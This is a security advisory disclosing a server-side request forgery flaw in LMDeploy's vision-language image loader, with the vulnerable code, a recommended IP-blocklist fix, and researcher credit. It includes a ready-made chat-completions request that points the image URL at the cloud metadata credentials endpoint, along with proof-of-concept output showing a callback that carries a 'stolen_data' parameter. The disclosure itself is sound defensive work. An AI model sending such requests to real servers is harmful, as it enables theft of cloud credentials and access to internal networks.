LMDeploy has Server-Side Request Forgery (SSRF) via Vision-Language Image Loading
Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.
Affected Versions
- Tested on: main branch (2026-02-04)
- Affected: All versions prior to 0.12.3
Vulnerable Code
File: lmdeploy/vl/utils.py (lines 64-67)
```python
def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
# ...
if image_url.startswith('http'):
response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
# NO VALIDATION OF URL/IP BEFORE REQUEST
```
Also affected: encode_image_base64() function (lines 26-29)
Root Cause
1. No validation of URLs before fetching
2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
3. Server binds to 0.0.0.0 by default (api_server.py line 1393)
4. API keys disabled by default
Attack Scenario
1. LMDeploy server deployed with vision-language model
2. Attacker sends request to /v1/chat/completions with malicious image_url:
```python
POST /v1/chat/completions
{
"model": "internlm-xcomposer2",
"messages": [{
"role": "user",
"content": [
{"type": "text", "text": "Describe this image"},
{"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
]
}]
}
```
3. Server fetches URL without validation
4. Attacker receives cloud credentials
Proof of Concept
Verified Exploitation Result
```
╔═══════════════════════════════════════════════════════════════════════╗
║ LMDeploy SSRF Vulnerability - Proof of Concept ║
╚═══════════════════════════════════════════════════════════════════════╝
[1] Starting callback server on port 8889...
[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY
[3] Calling vulnerable load_image() function...
======================================================================
[+] SSRF CALLBACK RECEIVED!
======================================================================
Time: 2026-02-04 16:10:57
Path: /SSRF_PROOF?stolen_data=AWS_SECRET_KEY
Client: 127.0.0.1:51154
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
======================================================================
✅ SSRF VULNERABILITY CONFIRMED!
```
Impact
- Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs
- Internal Service Access: Reach services not exposed to internet
- Information Disclosure: Port scan internal networks
- Lateral Movement: Pivot point for further attacks
Recommended Fix
```python
from urllib.parse import urlparse
import ipaddress
import socket
BLOCKED_NETWORKS = [
ipaddress.ip_network('127.0.0.0/8'),
ipaddress.ip_network('10.0.0.0/8'),
ipaddress.ip_network('172.16.0.0/12'),
ipaddress.ip_network('192.168.0.0/16'),
ipaddress.ip_network('169.254.0.0/16'),
]
def is_safe_url(url: str) -> bool:
try:
parsed = urlparse(url)
if parsed.scheme not in ('http', 'https'):
return False
ip = socket.gethostbyname(parsed.hostname)
ip_addr = ipaddress.ip_address(ip)
return not any(ip_addr in network for network in BLOCKED_NETWORKS)
except:
return False
```
Credit
This vulnerability was discovered as part of Orca Security's research.
Researcher: Igor Stepansky
Organization: Orca Security
Emails:
[email protected]
[email protected]
